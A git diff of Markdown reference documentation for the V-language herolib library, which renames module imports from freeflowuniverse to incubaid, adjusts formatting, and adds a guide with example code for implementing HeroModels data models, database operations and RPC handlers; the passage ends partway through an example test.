* **Returns**: `PingResult` enum (`.ok`, `.timeout`, `.unknownhost`).
### `osal.tcp_port_test(args: TcpPortTestArgs) bool`
Tests if a TCP port is open on a given address.
* **Parameters**:
* `args` (`TcpPortTestArgs` struct):
* `address` (string, required): IP address or hostname.
@@ -162,47 +205,67 @@ Tests if a TCP port is open on a given address.
* **Returns**: `bool`.
### `osal.ipaddr_pub_get() !string`
Retrieves the public IP address.
* **Returns**: `string`.
### `osal.is_ip_on_local_interface(ip string) !bool`
Checks if a given IP address is bound to a local network interface.
* **Parameters**: `ip` (string): IP address to check.
* **Returns**: `bool`.
## 3. File System Operations
### `osal.file_write(path string, text string) !`
Writes text content to a file.
* **Parameters**:
* `path` (string): File path.
* `text` (string): Content to write.
### `osal.file_read(path string) !string`
Reads content from a file.
* **Parameters**: `path` (string): File path.
* **Returns**: `string` (file content).
### `osal.dir_ensure(path string) !`
Ensures a directory exists, creating it if necessary.
* **Parameters**: `path` (string): Directory path.
### `osal.dir_delete(path string) !`
Deletes a directory if it exists.
* **Parameters**: `path` (string): Directory path.
### `osal.dir_reset(path string) !`
Deletes and then recreates a directory.
* **Parameters**: `path` (string): Directory path.
### `osal.rm(todelete string) !`
Removes files or directories.
* **Parameters**: `todelete` (string): Comma or newline separated list of paths (supports `~` for home directory).
### `osal.env_get_all() map[string]string`
Returns all existing environment variables as a map.
* **Returns**: `map[string]string`.
## 4. Environment Variables
## 4.1. Package Management (`package.v`)
Functions for managing system packages.
@@ -212,7 +275,9 @@ Functions for managing system packages.
* **`osal.package_remove(name_ string) !`**: Removes one or more packages.
### `osal.env_set(args: EnvSet)`
Sets an environment variable.
* **Parameters**:
* `args` (`EnvSet` struct):
* `key` (string, required): Environment variable name.
@@ -220,14 +285,19 @@ Sets an environment variable.
* `overwrite` (bool, default: true): Overwrite if exists.
### `osal.env_unset(key string)`
Unsets a specific environment variable.
* **Parameters**: `key` (string): Environment variable name.
### `osal.env_unset_all()`
Unsets all environment variables.
### `osal.env_set_all(args: EnvSetAll)`
Sets multiple environment variables.
* **Parameters**:
* `args` (`EnvSetAll` struct):
* `env` (map[string]string): Map of key-value pairs.
@@ -235,30 +305,40 @@ Sets multiple environment variables.
* `overwrite_if_exists` (bool, default: true): Overwrite existing variables.
### `osal.env_get(key string) !string`
Retrieves the value of a specific environment variable.
* **Parameters**: `key` (string): Environment variable name.
* **Returns**: `string` (variable value).
### `osal.env_exists(key string) !bool`
Checks if an environment variable exists.
* **Parameters**: `key` (string): Environment variable name.
* **Returns**: `bool`.
### `osal.env_get_default(key string, def string) string`
Retrieves an environment variable or a default value if not found.
* **Parameters**:
* `key` (string): Environment variable name.
* `def` (string): Default value.
* **Returns**: `string`.
### `osal.load_env_file(file_path string) !`
Loads environment variables from a specified file.
* **Parameters**: `file_path` (string): Path to the environment file.
## 5. Command & Profile Management
### `osal.cmd_add(args: CmdAddArgs) !`
Adds (copies or symlinks) a binary to system paths and updates user profiles.
* **Parameters**:
* `args` (`CmdAddArgs` struct):
* `cmdname` (string): Name of the command (optional, derived from source if empty).
@@ -267,35 +347,52 @@ Adds (copies or symlinks) a binary to system paths and updates user profiles.
* `reset` (bool, default: true): Delete existing command if found.
### `osal.profile_path_add_hero() !string`
Ensures the `~/hero/bin` path is added to the user's profile.
* **Returns**: `string` (the `~/hero/bin` path).
### `osal.bin_path() !string`
Returns the preferred binary installation path (`~/hero/bin`).
* **Returns**: `string`.
### `osal.hero_path() !string`
Returns the `~/hero` directory path.
* **Returns**: `string`.
### `osal.usr_local_path() !string`
Returns `/usr/local` for Linux or `~/hero` for macOS.
* **Returns**: `string`.
### `osal.cmd_exists_profile(cmd string) bool`
Checks if a command exists in the system's PATH, considering the user's profile.
* **Parameters**: `cmd` (string): The command name.
* **Returns**: `bool`.
### `osal.profile_path_source() !string`
Returns a source statement for the preferred profile file (e.g., `. /home/user/.zprofile`).
* **Returns**: `string`.
### `osal.profile_path_source_and() !string`
Returns a source statement followed by `&&` for command chaining, or empty if profile doesn't exist.
* **Returns**: `string`.
### `osal.profile_path_add_remove(args: ProfilePathAddRemoveArgs) !`
Adds and/or removes paths from specified or preferred user profiles.
* **Parameters**:
* `args` (`ProfilePathAddRemoveArgs` struct):
* `paths_profile` (string): Comma/newline separated list of profile file paths (optional, uses preferred if empty).
@@ -304,25 +401,34 @@ Adds and/or removes paths from specified or preferred user profiles.
* `allprofiles` (bool): Apply to all known profile files.
### `osal.cmd_path(cmd string) !string`
Returns the full path of an executable command using `which`.
* **Parameters**: `cmd` (string): Command name.
* **Returns**: `string` (full path).
### `osal.cmd_delete(cmd string) !`
Deletes commands from their found locations.
* **Parameters**: `cmd` (string): Command name.
### `osal.profile_paths_all() ![]string`
Lists all possible profile file paths in the OS.
* **Returns**: `[]string`.
### `osal.profile_paths_preferred() ![]string`
## 5.1. SSH Key Management (`ssh_key.v`)
Functions and structs for managing SSH keys.
### `struct SSHKey`
Represents an SSH key pair.
* **Fields**: `name` (string), `directory` (string).
* **Methods**:
* `public_key_path() !pathlib.Path`: Returns the path to the public key.
@@ -331,82 +437,118 @@ Represents an SSH key pair.
* `private_key() !string`: Returns the content of the private key.
### `struct SSHConfig`
Configuration for SSH key operations.
* **Fields**: `directory` (string, default: `~/.ssh`).
### `osal.get_ssh_key(key_name string, config SSHConfig) ?SSHKey`
Retrieves a specific SSH key by name.
* **Parameters**: `key_name` (string), `config` (`SSHConfig` struct).
* **Returns**: `?SSHKey` (optional SSHKey struct).
### `osal.list_ssh_keys(config SSHConfig) ![]SSHKey`
Lists all SSH keys in the specified directory.
* **Parameters**: `config` (`SSHConfig` struct).
* **Returns**: `[]SSHKey`.
### `osal.new_ssh_key(key_name string, config SSHConfig) !SSHKey`
Creates a new SSH key pair.
* **Parameters**: `key_name` (string), `config` (`SSHConfig` struct).
* **Returns**: `SSHKey`.
Lists preferred profile file paths based on the operating system.
* **Returns**: `[]string`.
### `osal.profile_path() !string`
Returns the most preferred profile file path.
* **Returns**: `string`.
## 6. System Information & Utilities
### `osal.platform() !PlatformType`
Identifies the operating system.
* **Returns**: `PlatformType` enum (`.unknown`, `.osx`, `.ubuntu`, `.alpine`, `.arch`, `.suse`).
### `osal.cputype() !CPUType`
Identifies the CPU architecture.
* **Returns**: `CPUType` enum (`.unknown`, `.intel`, `.arm`, `.intel32`, `.arm32`).
### `osal.is_linux() !bool`
Checks if the current OS is Linux.
* **Returns**: `bool`.
### `osal.is_osx() !bool`
Checks if the current OS is macOS.
* **Returns**: `bool`.
### `osal.is_ubuntu() !bool`
Checks if the current OS is Ubuntu.
* **Returns**: `bool`.
### `osal.is_osx_arm() !bool`
Checks if the current OS is macOS ARM.
* **Returns**: `bool`.
### `osal.is_linux_arm() !bool`
Checks if the current OS is Linux ARM.
* **Returns**: `bool`.
### `osal.is_osx_intel() !bool`
Checks if the current OS is macOS Intel.
* **Returns**: `bool`.
### `osal.is_linux_intel() !bool`
Checks if the current OS is Linux Intel.
* **Returns**: `bool`.
### `osal.hostname() !string`
Returns the system hostname.
* **Returns**: `string`.
### `osal.initname() !string`
Returns the init system name (e.g., `systemd`, `bash`, `zinit`).
* **Returns**: `string`.
### `osal.sleep(duration int)`
Pauses execution for a specified duration.
* **Parameters**: `duration` (int): Sleep duration in seconds.
### `osal.download(args: DownloadArgs) !pathlib.Path`
Downloads a file from a URL.
* **Parameters**:
* `args` (`DownloadArgs` struct):
* `url` (string, required): URL of the file.
@@ -423,17 +565,23 @@ Downloads a file from a URL.
* **Returns**: `pathlib.Path` (path to the downloaded file/directory).
### `osal.user_exists(username string) bool`
Checks if a user exists on the system.
* **Parameters**: `username` (string): Username to check.
* **Returns**: `bool`.
### `osal.user_id_get(username string) !int`
Retrieves the user ID for a given username.
* **Parameters**: `username` (string): Username.
* **Returns**: `int` (User ID).
### `osal.user_add(args: UserArgs) !int`
Adds a new user to the system.
* **Parameters**:
* `args` (`UserArgs` struct):
* `name` (string, required): Username to add.
@@ -442,67 +590,93 @@ Adds a new user to the system.
## Enums & Structs
### `enum PlatformType`
Represents the detected operating system.
* Values: `unknown`, `osx`, `ubuntu`, `alpine`, `arch`, `suse`.
### `enum CPUType`
Represents the detected CPU architecture.
* Values: `unknown`, `intel`, `arm`, `intel32`, `arm32`.
### `enum RunTime`
Specifies the runtime environment for command execution.
* Values: `bash`, `python`, `heroscript`, `herocmd`, `v`.
### `enum JobStatus`
Status of an executed command job.
* Values: `init`, `running`, `error_exec`, `error_timeout`, `error_args`, `done`.
### `enum ErrorType`
Types of errors that can occur during job execution.
* Values: `exec`, `timeout`, `args`.
### `enum PingResult`
Result of a ping operation.
* Values: `ok`, `timeout`, `unknownhost`.
### `struct Command`
Configuration for `osal.exec` function. (See `osal.exec` parameters for fields).
### `struct Job`
Result object returned by `osal.exec`. (See `osal.exec` returns for fields).
### `struct JobError`
Error details for failed jobs.
### `struct PingArgs`
Arguments for `osal.ping` function. (See `osal.ping` parameters for fields).
### `struct TcpPortTestArgs`
Arguments for `osal.tcp_port_test` function. (See `osal.tcp_port_test` parameters for fields).
### `struct EnvSet`
Arguments for `osal.env_set` function. (See `osal.env_set` parameters for fields).
### `struct EnvSetAll`
Arguments for `osal.env_set_all` function. (See `osal.env_set_all` parameters for fields).
### `struct CmdAddArgs`
Arguments for `osal.cmd_add` function. (See `osal.cmd_add` parameters for fields).
### `struct ProfilePathAddRemoveArgs`
Arguments for `osal.profile_path_add_remove` function. (See `osal.profile_path_add_remove` parameters for fields).
### `struct ProcessMap`
Contains a list of `ProcessInfo` objects.
### `struct ProcessInfo`
Detailed information about a single process. (See `osal.processinfo_get` returns for fields).
### `struct ProcessKillArgs`
Arguments for `osal.process_kill_recursive` function. (See `osal.process_kill_recursive` parameters for fields).
### `struct DownloadArgs`
Arguments for `osal.download` function. (See `osal.download` parameters for fields).
### `struct UserArgs`
Arguments for `osal.user_add` function. (See `osal.user_add` parameters for fields).

View File

@@ -3,6 +3,7 @@
The `OurTime` module in V provides flexible time handling, supporting relative and absolute time formats, Unix timestamps, and formatting utilities.
## Key Features
- Create time objects from strings or current time
- Relative time expressions (e.g., `+1h`, `-2d`)
- Absolute time formats (e.g., `YYYY-MM-DD HH:mm:ss`)
@@ -12,7 +13,7 @@ The `OurTime` module in V provides flexible time handling, supporting relative a
## Basic Usage
```v
import freeflowuniverse.herolib.data.ourtime
import incubaid.herolib.data.ourtime
// Current time
mut t := ourtime.now()

View File

@@ -1,6 +1,6 @@
# Herolib Spreadsheet Module for AI Prompt Engineering
This document provides an overview and usage instructions for the `freeflowuniverse.herolib.biz.spreadsheet` module, which offers a powerful software representation of a spreadsheet. This module is designed for business modeling, data analysis, and can be leveraged in AI prompt engineering scenarios where structured data manipulation and visualization are required.
This document provides an overview and usage instructions for the `incubaid.herolib.biz.spreadsheet` module, which offers a powerful software representation of a spreadsheet. This module is designed for business modeling, data analysis, and can be leveraged in AI prompt engineering scenarios where structured data manipulation and visualization are required.
## 1. Core Concepts
@@ -18,8 +18,9 @@ The `Sheet` is the primary container, representing the entire spreadsheet.
* `currency` (currency.Currency): The default currency for the sheet (e.g., USD), used for automatic conversions.
* **Creation:**
```v
import freeflowuniverse.herolib.biz.spreadsheet
import incubaid.herolib.biz.spreadsheet
// Create a new sheet named 'my_financial_sheet' with 60 columns (e.g., 60 months)
mut my_sheet := spreadsheet.sheet_new(
@@ -55,6 +56,7 @@ A `Row` represents a single horizontal line of data within a `Sheet`.
* `aggregatetype` (RowAggregateType): Defines default aggregation for this row (`.sum`, `.avg`, `.max`, `.min`).
* **Creation (within a Sheet):**
```v
// Assuming 'my_sheet' is an existing Sheet object
mut salaries_row := my_sheet.row_new(
@@ -174,8 +176,9 @@ Used across line, bar, and pie charts to specify data and presentation.
### 4.2. Chart Types
* **Line Chart (`line_chart`)**: Visualizes trends over time.
```v
import freeflowuniverse.herolib.web.echarts // Required for EChartsOption type
import incubaid.herolib.web.echarts // Required for EChartsOption type
line_chart_option := my_sheet.line_chart(
rowname: 'revenue_row,expenses_row',
@@ -185,6 +188,7 @@ Used across line, bar, and pie charts to specify data and presentation.
```
* **Bar Chart (`bar_chart`)**: Compares discrete categories or values.
```v
bar_chart_option := my_sheet.bar_chart(
rowname: 'profit_row',
@@ -194,6 +198,7 @@ Used across line, bar, and pie charts to specify data and presentation.
```
* **Pie Chart (`pie_chart`)**: Shows proportions of categories.
```v
pie_chart_option := my_sheet.pie_chart(
rowname: 'budget_allocation_row',

View File

@@ -8,7 +8,7 @@ Chalk offers functions:- `console.color_fg(text string, color string)` - To chan
Example:
```v
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.ui.console
# basic usage
println('I am really ' + console.color_fg('happy', 'green'))

View File

@@ -6,7 +6,7 @@ the following is a good pragmatic way to remember clients, installers as a globa
module docsite
import freeflowuniverse.herolib.core.texttools
import incubaid.herolib.core.texttools
__global (
siteconfigs map[string]&SiteConfig

View File

@@ -16,6 +16,7 @@ HeroScript is a concise scripting language with the following structure:
```
Key characteristics:
- **Actions**: Start with `!!`, followed by `actor.action_name` (e.g., `!!mailclient.configure`).
- **Parameters**: Defined as `key:value`. Values can be quoted for spaces.
- **Multiline Support**: Parameters like `description` can span multiple lines.
@@ -26,8 +27,8 @@ Key characteristics:
HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters, this is used in most of the herolib modules, it allows configuration or actions in a structured way.
```v
import freeflowuniverse.herolib.core.playbook { PlayBook }
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.core.playbook { PlayBook }
import incubaid.herolib.ui.console
pub fn play(mut plbook PlayBook) ! {
@@ -51,4 +52,3 @@ pub fn play(mut plbook PlayBook) ! {
```
For detailed information on parameter retrieval methods (e.g., `p.get()`, `p.get_int()`, `p.get_default_true()`), refer to `aiprompts/ai_core/core_params.md`.

View File

@@ -5,8 +5,8 @@
HeroScript can be parsed into a `playbook.PlayBook` object, allowing structured access to actions and their parameters.
```v
import freeflowuniverse.herolib.core.playbook
import freeflowuniverse.herolib.core.playcmds
import incubaid.herolib.core.playbook
import incubaid.herolib.core.playcmds
// path string
// text string
@@ -21,5 +21,3 @@ mut plbook := playbook.new(path: "....")!
playcmds.run(mut plbook)!
```

View File

@@ -3,6 +3,7 @@
The `HTTPConnection` module provides a robust HTTP client for Vlang, supporting JSON, custom headers, retries, and caching.
## Key Features
- Type-safe JSON methods
- Custom headers
- Retry mechanism
@@ -12,7 +13,7 @@ The `HTTPConnection` module provides a robust HTTP client for Vlang, supporting
## Basic Usage
```v
import freeflowuniverse.herolib.core.httpconnection
import incubaid.herolib.core.httpconnection
// Create a new HTTP connection
mut conn := httpconnection.new(

View File

@@ -1,9 +1,12 @@
# OSAL Core Module - Key Capabilities (freeflowuniverse.herolib.osal.core)
# OSAL Core Module - Key Capabilities (incubaid.herolib.osal.core)
> **Note:** Platform detection functions (`platform()` and `cputype()`) have moved to `incubaid.herolib.core`.
> Use `import incubaid.herolib.core` and call `core.platform()!` and `core.cputype()!` instead.
```v
//example how to get started
import freeflowuniverse.herolib.osal.core as osal
import incubaid.herolib.osal.core as osal
job := osal.exec(cmd: 'ls /')!
```
@@ -68,12 +71,12 @@ This document describes the core functionalities of the Operating System Abstrac
* **`osal.process_kill_recursive(args: ProcessKillArgs) !`**: Kill a process and its children.
* **Key Parameters**: `name` (string), `pid` (int).
* **`osal.whoami() !string`**: Return the current username.
* **`osal.platform() !PlatformType`**: Identify the operating system.
* **`osal.cputype() !CPUType`**: Identify the CPU architecture.
* ~~**`osal.platform() !PlatformType`**: Identify the operating system.~~ → **Moved to `incubaid.herolib.core`**
* ~~**`osal.cputype() !CPUType`**: Identify the CPU architecture.~~ → **Moved to `incubaid.herolib.core`**
* **`osal.hostname() !string`**: Get system hostname.
* **`osal.sleep(duration int)`**: Pause execution for a specified duration.
* **`osal.download(args: DownloadArgs) !pathlib.Path`**: Download a file from a URL.
* `pathlib.Path` is from `freeflowuniverse.herolib.core.pathlib`
* `pathlib.Path` is from `incubaid.herolib.core.pathlib`
* **Key Parameters**: `url` (string), `dest` (string), `timeout` (int), `retry` (int).
* **`osal.user_exists(username string) bool`**: Check if a user exists.
* **`osal.user_id_get(username string) !int`**: Get user ID.

View File

@@ -3,6 +3,7 @@
The `OurTime` module in V provides flexible time handling, supporting relative and absolute time formats, Unix timestamps, and formatting utilities.
## Key Features
- Create time objects from strings or current time
- Relative time expressions (e.g., `+1h`, `-2d`)
- Absolute time formats (e.g., `YYYY-MM-DD HH:mm:ss`)
@@ -12,7 +13,7 @@ The `OurTime` module in V provides flexible time handling, supporting relative a
## Basic Usage
```v
import freeflowuniverse.herolib.data.ourtime
import incubaid.herolib.data.ourtime
// Current time
mut t := ourtime.now()

View File

@@ -5,7 +5,7 @@ This document details the `paramsparser` module, essential for handling paramete
## Obtaining a `paramsparser` Instance
```v
import freeflowuniverse.herolib.data.paramsparser
import incubaid.herolib.data.paramsparser
// Create new params from a string
params := paramsparser.new("color:red size:'large' priority:1 enable:true")!
@@ -25,6 +25,7 @@ The parser supports various input formats:
4. **Comments**: `// this is a comment` (ignored during parsing)
Example:
```v
text := "name:'John Doe' age:30 active:true // user details"
params := paramsparser.new(text)!

View File

@@ -14,8 +14,9 @@ The pathlib module provides a comprehensive interface for handling file system o
## Basic Usage
### Importing pathlib
```v
import freeflowuniverse.herolib.core.pathlib
import incubaid.herolib.core.pathlib
```
### Creating Path Objects
@@ -33,6 +34,7 @@ mut dir_path := pathlib.get("path/to/directory")
if you know in advance if you expect a dir or file its better to use `pathlib.get_dir(path:...,create:true)` or `pathlib.get_file(path:...,create:true)`.
### Basic Path Operations
```v
// Get absolute path
abs_path := file_path.absolute()
@@ -49,6 +51,7 @@ if file_path.exists() {
## Path Properties and Methods
### Path Types
```v
// Check if path is a file
if file_path.is_file() {
@@ -67,6 +70,7 @@ if file_path.is_link() {
```
### Path Normalization
```v
// Normalize path (remove extra slashes, resolve . and ..)
normalized_path := file_path.path_normalize()
@@ -81,6 +85,7 @@ name_no_ext := file_path.name_no_ext()
## File and Directory Operations
### File Operations
```v
// Write to file
file_path.write("Content to write")!
@@ -93,6 +98,7 @@ file_path.delete()!
```
### Directory Operations
```v
// Create directory
mut dir := pathlib.get_dir(
@@ -108,6 +114,7 @@ dir.delete()!
```
### Symlink Operations
```v
// Create symlink
file_path.link("path/to/symlink", delete_exists: true)!
@@ -119,12 +126,14 @@ real_path := file_path.realpath()
## Advanced Operations
### Path Copying
```v
// Copy file to destination
file_path.copy(dest: "path/to/destination")!
```
### Recursive Operations
```v
// List directory recursively
mut recursive_list := dir.list(recursive: true)!
@@ -134,6 +143,7 @@ dir.delete()!
```
### Path Filtering
```v
// List files matching pattern
mut filtered_list := dir.list(
@@ -145,6 +155,7 @@ mut filtered_list := dir.list(
## Best Practices
### Error Handling
```v
if file_path.exists() {
// Safe to operate
@@ -152,4 +163,3 @@ if file_path.exists() {
// Handle missing file
}
```

View File

@@ -14,7 +14,7 @@ The `redisclient` module in Herolib provides a comprehensive client for interact
To get a Redis client instance, use `redisclient.core_get()`. By default, it connects to `127.0.0.1:6379`. You can specify a different address and port using the `RedisURL` struct.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
// Connect to default Redis instance (127.0.0.1:6379)
mut redis := redisclient.core_get()!
@@ -116,7 +116,7 @@ redis.expire('temp_key', 60)! // Expires in 60 seconds
The `RedisCache` struct provides a convenient way to implement caching using Redis.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
mut redis := redisclient.core_get()!
mut cache := redis.cache('my_app_cache')
@@ -145,7 +145,7 @@ cache.reset()!
The `RedisQueue` struct provides a simple queue mechanism using Redis lists.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
import time
mut redis := redisclient.core_get()!
@@ -169,7 +169,7 @@ task2 := my_queue.pop()!
The `RedisRpc` struct enables Remote Procedure Call (RPC) over Redis, allowing services to communicate by sending messages to queues and waiting for responses.
```v
import freeflowuniverse.herolib.core.redisclient
import incubaid.herolib.core.redisclient
import json
import time

View File

@@ -2,96 +2,124 @@
The `texttools` module provides a comprehensive set of utilities for text manipulation and processing.
## Functions and Examples:
## Functions and Examples
```v
import freeflowuniverse.herolib.core.texttools
import incubaid.herolib.core.texttools
assert hello_world == texttools.name_fix("Hello World!")
```
### Name/Path Processing
* `name_fix(name string) string`: Normalizes filenames and paths.
* `name_fix_keepspace(name string) !string`: Like name_fix but preserves spaces.
* `name_fix_no_ext(name_ string) string`: Removes file extension.
* `name_fix_snake_to_pascal(name string) string`: Converts snake_case to PascalCase.
```v
name := texttools.name_fix_snake_to_pascal("hello_world") // Result: "HelloWorld"
```
* `snake_case(name string) string`: Converts PascalCase to snake_case.
```v
name := texttools.snake_case("HelloWorld") // Result: "hello_world"
```
* `name_split(name string) !(string, string)`: Splits name into site and page components.
### Text Cleaning
* `name_clean(r string) string`: Normalizes names by removing special characters.
```v
name := texttools.name_clean("Hello@World!") // Result: "HelloWorld"
```
* `ascii_clean(r string) string`: Removes all non-ASCII characters.
* `remove_empty_lines(text string) string`: Removes empty lines from text.
```v
text := texttools.remove_empty_lines("line1\n\nline2\n\n\nline3") // Result: "line1\nline2\nline3"
```
* `remove_double_lines(text string) string`: Removes consecutive empty lines.
* `remove_empty_js_blocks(text string) string`: Removes empty code blocks (```...```).
### Command Line Parsing
* `cmd_line_args_parser(text string) ![]string`: Parses command line arguments with support for quotes and escaping.
```v
args := texttools.cmd_line_args_parser("'arg with spaces' --flag=value") // Result: ['arg with spaces', '--flag=value']
```
* `text_remove_quotes(text string) string`: Removes quoted sections from text.
* `check_exists_outside_quotes(text string, items []string) bool`: Checks if items exist in text outside of quotes.
### Text Expansion
* `expand(txt_ string, l int, expand_with string) string`: Expands text to a specified length with a given character.
### Indentation
* `indent(text string, prefix string) string`: Adds indentation prefix to each line.
```v
text := texttools.indent("line1\nline2", " ") // Result: " line1\n line2\n"
```
* `dedent(text string) string`: Removes common leading whitespace from every line.
```v
text := texttools.dedent(" line1\n line2") // Result: "line1\nline2"
```
### String Validation
* `is_int(text string) bool`: Checks if text contains only digits.
* `is_upper_text(text string) bool`: Checks if text contains only uppercase letters.
### Multiline Processing
* `multiline_to_single(text string) !string`: Converts multiline text to a single line with proper escaping.
### Text Splitting
* `split_smart(t string, delimiter_ string) []string`: Intelligent string splitting that respects quotes.
### Tokenization
* `tokenize(text_ string) TokenizerResult`: Tokenizes text into meaningful parts.
* `text_token_replace(text string, tofind string, replacewith string) !string`: Replaces tokens in text.
### Version Parsing
* `version(text_ string) int`: Converts version strings to comparable integers.
```v
ver := texttools.version("v0.4.36") // Result: 4036
ver = texttools.version("v1.4.36") // Result: 1004036
```
### Formatting
* `format_rfc1123(t time.Time) string`: Formats a time.Time object into RFC 1123 format.
### Array Operations
* `to_array(r string) []string`: Converts a comma or newline separated list to an array of strings.
```v
text := "item1,item2,item3"
array := texttools.to_array(text) // Result: ['item1', 'item2', 'item3']
```
* `to_array_int(r string) []int`: Converts a text list to an array of integers.
* `to_map(mapstring string, line string, delimiter_ string) map[string]string`: Intelligent mapping of a line to a map based on a template.
```v
r := texttools.to_map("name,-,-,-,-,pid,-,-,-,-,path",
"root 304 0.0 0.0 408185328 1360 ?? S 16Dec23 0:34.06 /usr/sbin/distnoted")

View File

@@ -5,7 +5,7 @@ has mechanisms to print better to console, see the methods below
import as
```v
import freeflowuniverse.herolib.ui.console
import incubaid.herolib.ui.console
```

View File

@@ -5,7 +5,7 @@ this is how we want example scripts to be, see the first line
```v
#!/usr/bin/env -S v -cg -gc none -cc tcc -d use_openssl -enable-globals run
import freeflowuniverse.herolib...
import incubaid.herolib...
```

View File

@@ -0,0 +1,819 @@
# HeroModels Implementation Guide
This guide provides comprehensive instructions for creating new models in the HeroModels system, including best practices for model structure, serialization/deserialization, testing, and integration with the HeroModels factory.
## Table of Contents
1. [Model Structure Overview](#model-structure-overview)
2. [Creating a New Model](#creating-a-new-model)
3. [Serialization and Deserialization](#serialization-and-deserialization)
4. [Database Operations](#database-operations)
5. [API Handler Implementation](#api-handler-implementation)
6. [Testing Models](#testing-models)
7. [Integration with Factory](#integration-with-factory)
8. [Advanced Features](#advanced-features)
9. [Best Practices](#best-practices)
10. [Example Implementation](#example-implementation)
## Model Structure Overview
Each model in the HeroModels system consists of several components:
1. **Model Struct**: The core data structure inheriting from `db.Base`
2. **DB Wrapper Struct**: Provides database operations for the model
3. **Argument Struct**: Used for creating and updating model instances
4. **API Handler Function**: Handles RPC calls for the model
5. **List Arguments Struct**: Used for filtering when listing instances
### Directory Structure
```
lib/hero/heromodels/
├── model_name.v # Main model file
├── model_name_test.v # Tests for the model
└── factory.v # Factory integration
```
## Creating a New Model
### 1. Define the Model Struct
Create a new file `model_name.v` in the `lib/hero/heromodels` directory.
```v
module heromodels
import incubaid.herolib.core.db
import incubaid.herolib.core.encoder
import incubaid.herolib.core.ourtime
import incubaid.herolib.core.jsonrpc { Response }
import json
// Model struct - inherits from db.Base
pub struct ModelName {
pub mut:
db.Base // Inherit from db.Base
name string
description string
created_at u64
updated_at u64
// Add additional fields as needed
}
// TypeName returns the type name used for serialization
pub fn (self ModelName) type_name() string {
return 'heromodels.ModelName'
}
```
### 2. Define the Argument Struct for Model Creation/Updates
```v
// Argument struct for creating/updating models with params attribute
@[params]
pub struct ModelNameArg {
pub mut:
id u32 // Optional for updates, ignored for creation
name string @[required] // Required field
description string
// Add additional fields as needed
}
```
### 3. Define the List Arguments Struct for Filtering
```v
// Arguments for filtering when listing models
@[params]
pub struct ModelNameListArg {
pub mut:
// Add filter fields (e.g., status, type, etc.)
limit int = 100 // Default limit
}
```
### 4. Create the DB Wrapper Struct
```v
// DB Wrapper struct for database operations
pub struct DBModelName {
pub mut:
db &db.DB
}
```
## Serialization and Deserialization
Implement the `dump` and `load` methods for serialization/deserialization.
### Dump Method (Serialization)
```v
// Dump serializes the model to the encoder
pub fn (self ModelName) dump(mut e encoder.Encoder) ! {
// Always dump the Base first
self.Base.dump(mut e)!
// Dump model-specific fields in the same order they will be loaded
e.add_string(self.name)!
e.add_string(self.description)!
e.add_u64(self.created_at)!
e.add_u64(self.updated_at)!
// Add more fields in the exact order they should be loaded
}
```
### Load Method (Deserialization)
```v
// Load deserializes the model from the decoder
pub fn (mut self DBModelName) load(mut obj ModelName, mut d encoder.Decoder) ! {
// Always load the Base first
obj.Base.load(mut d)!
// Load model-specific fields in the same order they were dumped
obj.name = d.get_string()!
obj.description = d.get_string()!
obj.created_at = d.get_u64()!
obj.updated_at = d.get_u64()!
// Add more fields in the exact order they were dumped
}
```
## Database Operations
Implement the standard CRUD operations and additional methods.
### New Instance Creation
```v
// Create a new model instance from arguments
pub fn (mut self DBModelName) new(args ModelNameArg) !ModelName {
mut o := ModelName{
name: args.name
description: args.description
// Initialize other fields
created_at: ourtime.now().unix()
updated_at: ourtime.now().unix()
}
// Additional initialization logic
return o
}
```
### Set (Create or Update)
```v
// Save or update a model instance
pub fn (mut self DBModelName) set(o ModelName) !ModelName {
return self.db.set[ModelName](o)!
}
```
### Get
```v
// Retrieve a model instance by ID
pub fn (mut self DBModelName) get(id u32) !ModelName {
mut o, data := self.db.get_data[ModelName](id)!
mut e_decoder := encoder.decoder_new(data)
self.load(mut o, mut e_decoder)!
return o
}
```
### Delete
```v
// Delete a model instance by ID
pub fn (mut self DBModelName) delete(id u32) !bool {
// Check if the item exists before trying to delete
if !self.db.exists[ModelName](id)! {
return false
}
self.db.delete[ModelName](id)!
return true
}
```
### Exist
```v
// Check if a model instance exists by ID
pub fn (mut self DBModelName) exist(id u32) !bool {
return self.db.exists[ModelName](id)!
}
```
### List with Filtering
```v
// List model instances with optional filtering
pub fn (mut self DBModelName) list(args ModelNameListArg) ![]ModelName {
// Get all instances
all_items := self.db.list[ModelName]()!.map(self.get(it)!)
// Apply filters
mut filtered_items := []ModelName{}
for item in all_items {
// Apply your filter conditions here
// Example:
// if args.some_filter && item.some_property != args.filter_value {
// continue
// }
filtered_items << item
}
// Apply limit
mut limit := args.limit
if limit > 100 {
limit = 100
}
if filtered_items.len > limit {
return filtered_items[..limit]
}
return filtered_items
}
```
## API Handler Implementation
Create the handler function for RPC requests.
```v
// Handler for RPC calls to this model
pub fn model_name_handle(mut f ModelsFactory, rpcid int, servercontext map[string]string, userref UserRef, method string, params string) !Response {
match method {
'get' {
id := db.decode_u32(params)!
res := f.model_name.get(id)!
return new_response(rpcid, json.encode_pretty(res))
}
'set' {
mut args := db.decode_generic[ModelNameArg](params)!
mut o := f.model_name.new(args)!
if args.id != 0 {
o.id = args.id
}
o = f.model_name.set(o)!
return new_response_int(rpcid, int(o.id))
}
'delete' {
id := db.decode_u32(params)!
deleted := f.model_name.delete(id)!
if deleted {
return new_response_true(rpcid)
} else {
return new_error(rpcid,
code: 404
message: 'ModelName with ID ${id} not found'
)
}
}
'exist' {
id := db.decode_u32(params)!
if f.model_name.exist(id)! {
return new_response_true(rpcid)
} else {
return new_response_false(rpcid)
}
}
'list' {
args := db.decode_generic[ModelNameListArg](params)!
res := f.model_name.list(args)!
return new_response(rpcid, json.encode_pretty(res))
}
else {
return new_error(rpcid,
code: 32601
message: 'Method ${method} not found on model_name'
)
}
}
}
```
## Testing Models
Create a `model_name_test.v` file to test your model.
```v
module heromodels
fn test_model_name_crud() ! {
// Initialize DB for testing
mut mydb := db.new_test()!
mut db_model := DBModelName{
db: &mydb
}
// Create
mut args := ModelNameArg{
name: 'Test Model'
description: 'A test model'
}
mut model := db_model.new(args)!
model = db_model.set(model)!
model_id := model.id
// Verify ID assignment
assert model_id > 0
// Read
retrieved_model := db_model.get(model_id)!
assert retrieved_model.name == 'Test Model'
